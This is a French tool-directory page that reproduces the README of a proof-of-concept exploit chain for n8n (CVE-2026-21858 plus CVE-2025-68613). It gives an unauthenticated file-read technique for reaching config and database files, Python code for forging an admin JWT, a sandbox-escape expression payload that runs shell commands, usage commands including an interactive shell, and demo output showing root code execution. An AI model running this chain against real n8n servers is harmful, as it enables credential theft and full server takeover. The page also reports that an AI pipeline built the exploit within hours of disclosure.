Skip to content
KitploitKITPLOIT
OutilsBlog
Log in
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
cve-2026-21858 — POC pour CVE-2026-21858 | Kitploit
Outils/GitHubGitHub/fomovet/cve-2026-21858
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationRed TeamingDéveloppement de Charges Utiles
GitHubfomovet/cve-2026-21858

cve-2026-21858

POC pour CVE-2026-21858

Voir le dépôt
17il y a 3 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-21858 + CVE-2025-68613 - Chaîne complète n8n

Lecture arbitraire de fichier non authentifiée → Forge de jeton admin → Contournement de sandbox → RCE

CVECVE-2026-21858 (AFR) + CVE-2025-68613 (RCE)
CVSS10.0 + 9.9 (Critique)
Versions affectées<= 1.65.0 (AFR) / >= 0.211.0 (RCE)
Versions corrigées1.121.0 (AFR) / 1.120.4+ (RCE)
Divulgué2026-01-07 11:09 UTC
Nom de codeNi8mare
CréditDor Attias (Cyera)
ExploitChocapikk
ProcessusAutomatisé par IA : patch diff → repro → lab → exploit (~9h après divulgation)
TypePreuve de concept - PAS un exploit universel (nécessite une configuration de workflow spécifique, voir Limitations)

En bref

Chaîne RCE complète non authentifiée sur n8n :

  1. CVE-2026-21858 - Confusion de type de contenu → Lecture arbitraire de fichier
  2. Lecture de la configuration + base de données → forge de JWT admin
  3. CVE-2025-68613 - Injection d'expression → contournement du sandbox → RCE

Détection

L'exposition est basée sur la version. En matière d'exposition, des instances n8n vulnérables sont accessibles publiquement.

Résultats LeakIX : Voir les instances exposées

Résultats de détection LeakIX

Pourquoi cet exploit ?

Cet exploit a été développé indépendamment du rapport de Cyera (découvert après la finalisation). Différences clés :

Cyera (Recherche originale)Cet exploit
Lecture de fichierChargement dans la base de connaissances IA → interrogation par chatRéponse HTTP directe
PrérequisWorkflow de chat + intégration IATout formulaire avec upload de fichier
Méthode RCENœud « Execute Command » (désactivé par défaut)Injection d'expression (fonctionne sur les installations par défaut)
AutomatisationDémo manuelle/conceptuelleScript Python entièrement automatisé

Les deux approches nécessitent des configurations de workflow spécifiques. Cyera a besoin d'un chat + d'une intégration IA, cet exploit a besoin d'un formulaire avec un nœud Respond. Voir Limitations pour les détails.

Chaîne d'attaque

┌───────────────────────────────────────────────────────────┐
│                     UNAUTHENTICATED                       │
├───────────────────────────────────────────────────────────┤
│  1. Read /proc/self/environ → Find HOME directory         │
│  2. Read $HOME/.n8n/config → Get encryptionKey            │
│  3. Read $HOME/.n8n/database.sqlite → Get admin creds     │
├───────────────────────────────────────────────────────────┤
│                      TOKEN FORGE                          │
├───────────────────────────────────────────────────────────┤
│  4. Derive JWT secret from encryptionKey                  │
│  5. Forge admin session cookie                            │
├───────────────────────────────────────────────────────────┤
│                    AUTHENTICATED RCE                      │
├───────────────────────────────────────────────────────────┤
│  6. Create workflow with expression injection             │
│  7. Sandbox bypass via this.process.mainModule.require    │
│  8. Execute arbitrary commands                            │
└───────────────────────────────────────────────────────────┘

CVE-2026-21858 - Lecture arbitraire de fichier via confusion de type de contenu

Le patch

commit c8d604d2c466dd84ec24f4f092183d86e43f2518
Author: mfsiega
Date:   Thu Nov 13 11:51:40 2025 +0100

    Merge commit from fork

Le légendaire « Merge commit from fork » - quand vous voyez ça, quelqu'un a trouvé quelque chose de piquant. 🌶️

Cause racine

// BEFORE (vulnerable)
const files = (context.getBodyData().files as IDataObject) ?? {};
await context.nodeHelpers.copyBinaryFile(file.filepath, ...)

// AFTER (fixed)
a.ok(req.contentType === 'multipart/form-data', 'Expected multipart/form-data');

Envoyez Content-Type: application/json → contrôlez filepath → lisez n'importe quel fichier.

CVE-2025-68613 - Injection d'expression RCE

Pourquoi ce contournement ?

n8n isole le code utilisateur (Code Node, expressions) avec vm2/isolated-vm. Autres vecteurs RCE :

TechniqueStatut
Nœud Execute CommandDésactivé par défaut (N8N_ALLOW_EXEC_COMMAND=false)
Nœuds SSH/HTTPS'exécutent sur des serveurs distants, pas sur l'hôte n8n
Évasion du sandbox PyodideCVE-2025-68668 - nécessite le nœud Python Code
Injection d'expressionCVE-2025-68613 - fonctionne sur les installations par défaut

J'ai utilisé l'injection d'expression car elle fonctionne sur n'importe quelle instance n8n avec les paramètres par défaut - aucun nœud spécial ni configuration requise. Le contournement Pyodide (CVE-2025-68668) nécessite le nœud Python Code qui peut ne pas être disponible sur toutes les instances.

Le payload

={{ (function() { 
  var require = this.process.mainModule.require; 
  var execSync = require("child_process").execSync; 
  return execSync("id").toString(); 
})() }}

Les expressions n8n ont accès à this.process.mainModule.require → évasion totale du sandbox.

Forge de jeton

# JWT secret derivation
jwt_secret = sha256(encryption_key[::2]).hexdigest()

# JWT hash
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]

# Forge token
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")

Configuration du laboratoire

docker compose up -d
# Wait ~60 seconds for setup
# Form: http://localhost:5678/form/vulnerable-form
# Creds: [email protected] / ExploitLab123!

Utilisation

# Read arbitrary file
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --read /etc/passwd

# Full chain with command
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --cmd "id"

# Interactive shell
uv run python exploit.py http://localhost:5678 /form/vulnerable-form

Démo

╔═══════════════════════════════════════════════════════════════╗
║     CVE-2026-21858 + CVE-2025-68613 - n8n Full Chain          ║
║     Arbitrary File Read → Token Forge → Sandbox Bypass → RCE  ║
╚═══════════════════════════════════════════════════════════════╝

[*] Target: http://localhost:5678/form/vulnerable-form
[*] Version: 1.65.0 (VULN)
[x] HOME directory
[+] HOME directory: /root
[x] Encryption key
[+] Encryption key: yusrXZV1...
[x] Database
[+] Database: 1327104 bytes
[x] Admin user
[+] Admin user: [email protected]
[x] Token forge
[+] Token forge: OK
[x] Admin access
[+] Admin access: GRANTED!
[+] Cookie: n8n-auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjljMWI5MzU0LTI5NzQtNGZlOS05OTc2LWVmZDM3ZWEyNWFlMiIsImhhc2giOiJGYzVQZjVkUDRxIn0.TrIjHV3_6pw6Syi4qme5larZeQElBJmo4Y_eSgL9_M0
[x] RCE
[+] RCE: OK

uid=0(root) gid=0(root) groups=0(root)

Limitations

Ce n'est PAS un exploit « pwn any n8n ». Il nécessite des conditions spécifiques pour fonctionner :

ExigenceDescription
Formulaire avec upload de fichierLa cible doit avoir un workflow de formulaire avec un champ d'upload de fichier
Nœud Respond to WebhookLe workflow doit renvoyer le contenu du fichier dans la réponse HTTP
Workflow actifLe workflow de formulaire doit être activé
Accès non authentifiéLe formulaire doit être accessible publiquement (sans authentification)

Exemple de configuration de workflow vulnérable :

Télécharger l’outil